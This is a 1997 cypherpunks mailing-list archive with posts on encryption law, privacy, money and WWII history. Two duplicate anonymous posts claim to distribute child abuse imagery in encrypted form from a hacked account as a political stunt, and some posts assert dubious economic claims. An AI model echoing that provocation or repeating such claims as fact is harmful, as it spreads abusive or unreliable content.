quite possibly the Horsemen "meme," a hardy, propogating viral code, could
be rendered useless when the right antiviral meme is introduced to the
datasphere. William S. Burroughs has already outlined language hacking
details in what I consider to be a seminal proto-cypherpunk text, _The
Electronic Revolution_. Long out of print, but online at
<http://www.hyperreal.com/wsb/elect-rev.html>. 

m

Michael Stutz
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 07:42:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706242102.OAA31118@slack.lne.com>
Message-ID: <v0310280bafd607388c55@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:13 PM -0700 6/24/97, Adam Back wrote:
>Eric Murray <ericm@lne.com> writes:

>> As Declan notes, Congress is driven to compromise.  The
>> government side can propose ever more draconian laws in order to
>> engineer the 'compromise' to whatever it wants.  On the other side, we
>> are stuck, because we have been asking for things that we really want, not
>> bargaining chips.  Even if we were to ask for bargaining chips that
>> are more than we really want, how much further than completely free
>> crypto can you go?
>
>Oh I dunno.  We could get Tim to give a congressional statement,
>highlighting the interesting consequences of a fully developed crypto
>anarchic society.  That'd put the fear into them.  ('Course the
>problem is we'd never get him to go within 100 miles of the place, and
>he'd probably consider it a waste of time talking to them anyway.)

Actually, I was born in Bethesda, just north or northeast of The Once and
Future Swamp, lived in Maryland and Virginia for half my childhood, and
attended Fairfax County High Schools (Langley, across the woods from the
CIA, of course, and Edison). I've even back back several times, for
conferences and visits; I even drove out to see the NSA in 1991, to help
focus my energies.

(Note: "focus my energies" should not be taken as a euphemism for shaping
my charges.)

But I don't get the point of what would be gained by my testimony. It
wouldn't  help the Cause.

And, as many of us have noted, what is there to compromise about? If one
has religious freedom, for example, and a series of laws are proposed or
passed to limit this religious freedom in some way, what kind of compromise
is even remotely acceptable?

(By the way, I have no heard no good counters to my point that the "use of
crypto in furtherance of a crime" is quite analogous to "freedom of
religion shall not be abridged, but saying a heathen prayer in furtherance
of a crime shall subject the heathen to an additional five years of
imprisonment." This is why I think the "use of a special language or
whispering in furtherance of a crime" provisions of SAFE will probably be
struck down by the Supremes, unless they, too, have forgotten what the
Constitution is all about.)

The First Amendment is all we need to speak in the language of our
choosing, including the languages of whispers, Talegu, Navajo, pig latin,
coded signals, and 4000-bit RSA.

We don't need any "reaffirmations" of this basic right, at least not from
Congress.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 06:51:00 +0800
To: cypherpunks@toad.com
Subject: Child Pornography [JPEG]
Message-ID: <199706242232.QAA28191@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: gygqk6Zjhr8ssJKvMxDdwQkYiBMJaW22

hQCMA/qHVDBboB2dAQQAlcc0zGN2wXUG4twV4M1TXkrMmob/fYP4k4tpIv7KEJQ8
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 07:03:23 +0800
To: cypherpunks@toad.com
Subject: Child Pornography [JPEG]
Message-ID: <199706242242.QAA29226@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

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-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 25 Jun 1997 08:34:45 +0800
To: tzeruch@ceddec.com
Subject: Re: new money systems
In-Reply-To: <97Jun23.185147edt.32257@brickwall.ceddec.com>
Message-ID: <199706250027.RAA19105@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



note: one respondent on this subject claimed that my references
to the money system only applied to the US. in fact I believe
they apply to any country that is paying interest on government
bonds!!

>Start with "Money Mischief" by Milton Freidman for an interesting look at
>the role of money.

an interesting book, I think this is one of his I browsed. MF is correct
in some ways but I believe he is off the mark in others. gold has a  key 
advantage over money printed by a government in that it can't be
counterfeited even by that government.  

it is clear to me at this point that any government that pays interest
on its bonds without loaning out that money is actually counterfeiting
its own currency. this interest paid on bonds is the direct 
cause of inflation.

>Money has three functions:

of course all three are interchangeable in a complete economy.

>If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
>electricity, no indoor plumbing in many places) they would have plenty
>left over.  As long as consumption is the goal, you can keep working
>longer to satisfy more marginal wants.  If I can convince a couple that
>they "need" two luxury cars, they will work the longer hours.  If they are
>satisfied with something less, they may get by with only one earner. 

no, actually I think that this is not entirely true-- even measured for this
factor, our money has lost force. consider some job that has not 
changed in nature since then, say plumbing or farming. I believe on
average that today's plumber or farmer must work harder than the 20's
farmer to achieve the same lifestyle. in fact this can be proven 
mathematically in a post I'm working on.

>
>We work "harder" and have less free time only in the sense that we prefer
>working longer hours and having expensive things and less free time to
>working shorter hours and having more free time.

a reasonable hypothesis, and partly correct imho.

>It is called economic inefficiency (the electrical analogy might be
>resistance).  If tarriffs are imposed on an import, I end up paying the
>domestic producers a little more.  If some regulation forces an employer
>to spend $100,000 printing manuals or something, he is spending that to
>satisfy the government and not me.  And then there is the obvious "tax",
>which you pay regardless of who sends the actual amount to the government
>(e.g. the "employer's" half of FICA).

what I am trying to imply in the post is that there is actually a hidden
resistance on our money that is not reflected in the fees that various
entities charge.  this is inflation, and it it can be totally controlled,
despite whatever lies the Fed tells the public.

>The problem is one of exchange.  A local currency (banks used to issue
>their own notes) is only good in that locality.  How do I buy a California
>pistachio with Michigan Money?  Or with British Pounds for that matter. 
>In all cases you get an exchange rate.  There will be a varying ratio
>between any two given fiat currencies, and even two currencies based on
>(i.e. redeemable in) different commodities.

so what? I understand this obvious and trivial point.

>But all the above won't fix any of your above points.  You will work
>harder and be taxed on barter points, hamburger coupons, or anything else
>based on their (hopefully discounted) value in dollars.  I will still have
>to spend more of whatever to get a car with an airbag which I don't want.

a local economy can have a currency, and ask the question, "why is 
value being extracted from our local economy when it is a self-sustaining
unit"? the idea behind a local currency actually encourages local
autonomy/sovereignty/independence.

>The only reason we have national currencies is because nations have
>different ideas about how large their inflation rates and defecits should
>be and about trade.  That way they can control the supply of that currency
>and require changing into that currency to do trade.

the reason is that, imho, a set of greedy people have realized they
can enslave the population of an entire country by manipulating the
currency supply.

>Having 1000 other currencies would mean that each currency would have a
>fluctuating value relative to each other (great if you are an
>arbitrageur), 

no, this is not a problem, but a solution. as our world markets show,
it is trivial to convert between currencies and each one acts as a
check and a balance on the other. if a currency declines in value to
another in the market, I will bet you the country whose currency
declined is "counterfeiting its own money" via interest rates paid
on bonds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 25 Jun 1997 02:17:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <19970624175211.9970.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 24 Jun 1997 20:20:39 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: spam on this list
In-Reply-To: <199706231604.JAA14744@adnetsol.adnetsol.com>
Message-ID: <Pine.LNX.3.93.970624180347.502D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Ross Wright wrote:

[...]

> Spam is free speech...

AOL vs Cyberpromo has a totaly diffrent option on this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 25 Jun 1997 06:18:14 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <199706241938.OAA11409@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970624175354.8208O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----


Gee thanks for quoting my entire message.  You know, I really love to see
the stuff I wrote before over and over again when I reply to it.  *NOT*.
If you reply, please don't quote the entire messages.  Just what you're
replying to.  


[Mass Snippage]

> How are you going to verify what the government *says* it is doing without
> a mechinism of authenticating of who they are doing it with?

Watch them carefully.  If they do what they're not supposed to do, word
will eventually leak out in most circumstances, not all, and most
certainly not in spool related things.  But leaks do occur.  Watching what
they say and do will give you that info.  Same as any of the reporters
will do.  Ask Declan if need be. :)
 
> How can you verify that the census reports are vailid if you don't know
> who is in the census?

Conduct your own independant census and see how big a difference there is.
If you can't, then conduct random but smaller spot checks and see how they
match.  Count the number of entries in the phone book.  You shouldn't be
too far off from the actual number of residents within an area though
you'd be missing unlisted numbers.

> How can you check and see if the party in power is stuffing the balot
> boxes if you can't confirm who is on the voting rolls??

Ask the voters to anonymously re-vote, take polls.  Etc.
 
> How will you know which John Doe is issued a Medical License without
> additional information being available?

These aren't done by Uncle Sam, they're done by AMA or whatever.  As I
said licenses should be available to you in terms of yes, he's had a
license, or no he ain't got one.
 
> How can you prevent criminal records from being known when all police
> arrests & court procedings are public knowledge?

Court procedings, not criminal records.  Hmmm, caught me there ya did. :)
Good question.  Any other suggestions as to how to protect the privacy of
someone who served their time?

> In your zeal to make public information "private" you are giving the
> government the perfect mechanism to hide all its activities from its
> citizens.

I'm not asking for laws to be passed to "protect" privacy.  I'm asking
that privacy be recognized as one of the inalienable rights.  In other
words, a constitutional amendment much like the 1st that says you have the
right to privacy.  Not necessarily what happens when it is broken.  If
it's broken, you sue Unlce Sam.

I'm not asking for public information to be hidden.  I'm asking for
information that is personal and should be private to be private- i.e. 
driving records, health records, addresses, phone numbers, and
relationship records to be kept private. I'm not asking to hide what the
government does.  

Not all information that is public is personal - such information should
remain public.  The actions of the state, the actions of public
corporations should be public.  Information on citizens should not be made
public WITHOUT their consent.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 09:24:50 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Japan & bombing the US
In-Reply-To: <199706250000.TAA27658@einstein.ssz.com>
Message-ID: <v0310280dafd620346b22@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:00 PM -0700 6/24/97, Jim Choate wrote:
>Hi,
>
>Several people have made comment on the difference between states and
>protectorates of one sort or another in reference to the comment I made
>about Oregon being the only US state to be bombed in WWII. While this is
>technicaly true if you go back and look at the original posting I replied
>too was made in the context of US involvment in the war and how isolated
>we were, so isolated, the claim went, that the Japanese were unable to
>invade or otherwise attack the US.

No, this is incorrectly paraphrasing what I wrote. What I said, very
precisely, was "as there has been no credible threat of attack or invasion
of the states in America in at least 170 years." I was careful to say
"states in America."

I did not mention territories, colonies, canals, foreign embassies, yachts
at sea, protectorates, provinces, zones of influence, allies, or tourists
on vacation.

And I also limited my comments to the events leading up to wars...my
context was clear: that had the U.S. not chosen to enter wars, no states
would have been attacked even later. That the U.S. has entered wars and had
states attacked hardly disputes my point.

Oh, and California was also attacked in WW II. I lived in a town called
Goleta, which was shelled by a Japanese sub. Again, not germane to the
point I made, as this happened after the U.S. entered the war.

(And I believe at least a couple of eastern port cities were shelled.
Certainly saboteurs came ashore in Baltimore and Boston and attempted to
sabotage facilities. Again, no relevance to the point I made.)

>
>While it is true that Oregon was the only area attacked which was a state
>under the context of US possessions being attacked it is false.
>
>The main point here is that the original proposal was incorrect due to more
>than a semantic technicality. This brings the whole issue of the US sitting
>out the war into question. A question I answer strongly in the negative. It
>is not possible that the US could have sat out the war as a neutral.

It wasn't a "semantic technicality," it was a carefully worded statement of
fact.

Half the arguments you get into, Jim, come from your apparent unwillingness
to read carefully.

(I made these points earlier today to Jim in offline mail, but he has
chosen to ignore those points and repeat his flaky readings here on the
main list. Whatever.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 08:40:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
Message-ID: <199706242354.SAA27633@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 10:30:11 -0400
> From: Duncan Frissell <frissell@panix.com>
> Subject: Re: How did these people find our list? (fwd)

> June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
> upon by the deck gun of a Japanese submarine. The first continental costal 
> battery to be attacked by a foreign enemy (not counting those Southerners) 
> since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
> Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
> draw.

Two Jap subs were sunk in San Francisco harbor. Unfortunately I can't find
the dates, will keep looking.

> Oregon also suffered the U.S. Mainland's only domestic casualties due to 
> enemy action when a teacher and members of her family on a hike in southern 
> Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

Actualy it was a man, his wife, and two children. The two kids were playing
with it when it went off. My memory tells me that the women and two kids
were killed. Don't remember if she was a teacher or not. There was an
interesting video recreation on TDC last month on this incident on a special
on the Japanese balloon bombs.

> balloons released from Japanese submarines off the coast.)

Actualy most of them were released from the Japanese mainland at specific
points. If you do further research on this you will learn how they used the
ballast sand in the balloons (mechanicly complicated) to track their source.
All the sites were bombed and the baloons ceased.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 02:10:00 +0800
To: davidlu@sco.COM
Subject: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: <199706241754.SAA00563@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Re comments that I should re-read the paper, here is what Wiener's
paper says about estimated costs of a specialized DES key breaker:

 $100,000 for a machine to break DES in an average of  35 hrs
 $1 mil   for a machine to break DES in an average of 3.5 hrs
 $10 mil  for a machine to break DES in an average of  21 mins

It was as Peter says published in 1993.

Wiener also budgets for $500,000 in design costs (wages, parts, fab
etc).

Another interesting part of the design is that it is based on a
pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.

35 hours sounds a reasonable amount of time to break a Swift banking
transfer key protecting trillions of dollars of funds.

Perhaps $10,000 isn't too far off the current day costs of breaking
DES after all.  (500Mhz chips?  You can get dec alphas at that speed,
and thats a general purpose CPU)

(If anybody is short of a copy, I've put the one up I've got (no idea
where I got it from) here:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/des_key_search.ps
)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 08:28:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Japan & bombing the US
Message-ID: <199706250000.TAA27658@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Several people have made comment on the difference between states and
protectorates of one sort or another in reference to the comment I made
about Oregon being the only US state to be bombed in WWII. While this is
technicaly true if you go back and look at the original posting I replied
too was made in the context of US involvment in the war and how isolated
we were, so isolated, the claim went, that the Japanese were unable to
invade or otherwise attack the US.

While it is true that Oregon was the only area attacked which was a state
under the context of US possessions being attacked it is false.

The main point here is that the original proposal was incorrect due to more
than a semantic technicality. This brings the whole issue of the US sitting
out the war into question. A question I answer strongly in the negative. It
is not possible that the US could have sat out the war as a neutral.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Wed, 25 Jun 1997 10:03:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Tim May wrote:

> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

OK, Tim, I'll try:
The use of communication in furtherance of a crime shall add five years .
. .etc.

The use of any device to enhance the speed of communication in furtherance
of a crime shall . . . etc.

The use of any device to disguise a voice in furtherance of  . . . etc.

The use of any cryptographic means of communication in furtherance . . .

Now, if two and three above are constitutional, why aren't one and four?
MacN






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 10:38:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Japan & bombing the US (fwd)
Message-ID: <199706250209.VAA28146@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 18:20:17 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Japan & bombing the US

> No, this is incorrectly paraphrasing what I wrote. What I said, very
> precisely, was "as there has been no credible threat of attack or invasion
> of the states in America in at least 170 years." I was careful to say
> "states in America."

Distinction noted. I suppose the fact that American laws govern these areas,
and they pay taxes, and can be drafted into our military, get citizenship at
birth, etc. are totaly and completely irrelevant and completely unrelated to
issues such as these. Thinking like yours is why McArthur got such support
when he promised to return to the Phillipines when even his bosses were ready
to write it off. It's why the Japanese have such a high regard for him
respecting his tenure as military dictator of Japan during their rebuild.
If you haven't read it you might consider reading his biography American
Ceaser for its insight into the politics of these two periods.

> And I also limited my comments to the events leading up to wars...my
> context was clear: that had the U.S. not chosen to enter wars, no states
> would have been attacked even later. That the U.S. has entered wars and had
> states attacked hardly disputes my point.

The US didn't choose to enter the war however, that is the issue not your
nit-picking over some irrelevant boundary distinction.

One thing is clear to anyone who lived in that period as an adult or studies
it carefuly, the distinctions that Tim is claiming to be relevant were not
important to the people living at the time. When it came to shooting
'Americans' (not Americans in a state, or not on vacation, etc. noise) it
was the shooting of Americans that was at issue and not whether Alaska or
Hawaii really would become a state in 1959. It is not reasonable to expect
the United States of America could have 'sat out' the war. It was and is
clear that American MUST enter the war at some point. The British were down 
to their last $750M in a S. African bank that went walkaround on an American
transport to pay outstanding bills. Because of the economic and social ties
between American and Britian any thesis claiming America could (let alone
should) have remained neutral is pure meta-history. Consider the
unrestricted German submarine warfare occuring as close as 30 miles from
the Eastern seaboard. How long would people put up with bodies washing up
on their beaches regularly? What would have been the impact of doing
business with Europe under the German helm in the US (which couldn't exist
at anything close to todays tech/social level without strong economic
markets)? The Germans and Russians managed to arrive at a commen goal in the
invasion of Poland. Without the drain of the African and Cicilian campaigns
(which required the support of the US on a military footing to succeed) it
is just possible that Russia could sue for peace with Germany causing at
least a temporary breathing spell for the marshalling of forces. It is also
clear at this point that Germany had a much larger technology lead over the
Russians (research where the tubes for Russian radios came from) and such
weapons as the ME-262, V1, V2, etc. Under this light it is clear that
given a breathing space Germany allied with Japan (assuming the successful
invasion of Australia, with no Britian and no US how long would they last?)
would pose a real threat to the US, including the direct assault on the
continental US. If we can do it in Europe and Africa what in the world makes
you think somebody else can't do it? Without US intervention in the war
Italy would own Africa now.

Those folks were predators, they didn't back down. The Japanese would have
gone for the west coast. The Russians would look at the Alaskan peninsula
(bought from Russia in the 1800's) and lick their chops. The South American
continent would have been Germanic/Japanese without US intervention. The 
influx of Germans into Argentina and Japanese to Peru started in the 20's
and not the 50's. Germany was building a bomber to hit New York and long
range fast transport subs, their intent was clear.

Why the United States entered WWII can't be attributed to ANY single
simplistic thesis such as this. It is also clear that the Japanese and
German decision making processes were not motived this simply either.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps legaly US military bases are US soil in the same class as DC, clearly
   a part of the United States. An attack upon such is treated legaly
   as an attack upon one of the 48 states.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 11:12:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Grand Compromise is Coming (fwd)
Message-ID: <199706250228.VAA28187@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 20:56:33 -0500 (CDT)
> From: Mac Norton <mnorton@cavern.uark.edu>
> Subject: Re: The Grand Compromise is Coming

> OK, Tim, I'll try:
> The use of communication in furtherance of a crime shall add five years .
> . .etc.
> 
> The use of any device to enhance the speed of communication in furtherance
> of a crime shall . . . etc.
> 
> The use of any device to disguise a voice in furtherance of  . . . etc.
> 
> The use of any cryptographic means of communication in furtherance . . .
> 
> Now, if two and three above are constitutional, why aren't one and four?

The use of any printing press in the ....

The use of speech in the ...

Per the 1st, 9th & 10th;

"The use of <blah> in the ...." is un-Constitutional.

Now, I can see committing a crime using some facility or special skill might
exacerbate the verdict, is that the intent? We could just do away with the
preamble and go with exacerbating the verdict if a special skill or facility
is required.

If nothing else it eliminates any pretense of spontinaity, in effect
pre-meditation or aggravation. From that perspective I don't see a
Constitutional issue except regarding the punishment phase.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 09:44:49 +0800
To: cypherpunks@toad.com
Subject: SAFE clears House subcommittee, with amendments
Message-ID: <v0300781cafd62472aa46@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



***************

Date: Tue, 24 Jun 1997 21:09:41 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: SAFE clears House subcommittee, from LEGI-SLATE

[Since I showed up late today and missed some of the early discussion, I
asked my friend Amy for permission to pass along her report. She graciously
agreed. --Declan]

*****************

SAFE Act Nears Home in House After Subcommittee
Tosses It Out Favorably

By Amy Branson
LEGI-SLATE News Service

WASHINGTON (June 24) -- Casting the only opposing vote to
H.R. 695 -- the "Security and Freedom Through Encryption
Act" -- Rep. Doug Bereuter, R-Neb., knew his position was
the lonely one at a subcommittee markup Tuesday.

"The goal must be to balance between the competitiveness
of U.S. companies and U.S. national security goals,"
Bereuter began. "However, this bill fails that balance
because it significantly relaxes U.S. export control of
encryption without requiring a key recovery policy ... to
those exports."

Despite Bereuter's problems with the bill, the House
International Relations Subcommittee on International
Economic Policy and Trade passed H.R. 695 by a recorded
vote of 14 yeas and 1 nay [Vote 1].

H.R. 695 lifts export restrictions on many kinds of
strong encryption products, prohibits federal or state
governments from requiring anyone to give up the key to
their encrypted communications, and establishes criminal
penalties for using encryption to further a criminal
offense.

"This is a vitally important piece of legislation if
we're going to continue to promote the United States
dominance of the software industry worldwide," the bill's
sponsor, Rep. Bob Goodlatte, R-Va., said Tuesday
afternoon. Goodlatte, who does not sit on the
International Relations Committee, spoke on behalf of his
bill at the markup session.

"This legislation is also very important from the
standpoint of promoting the safety and security of
American citizens and others in the use of the Internet,"
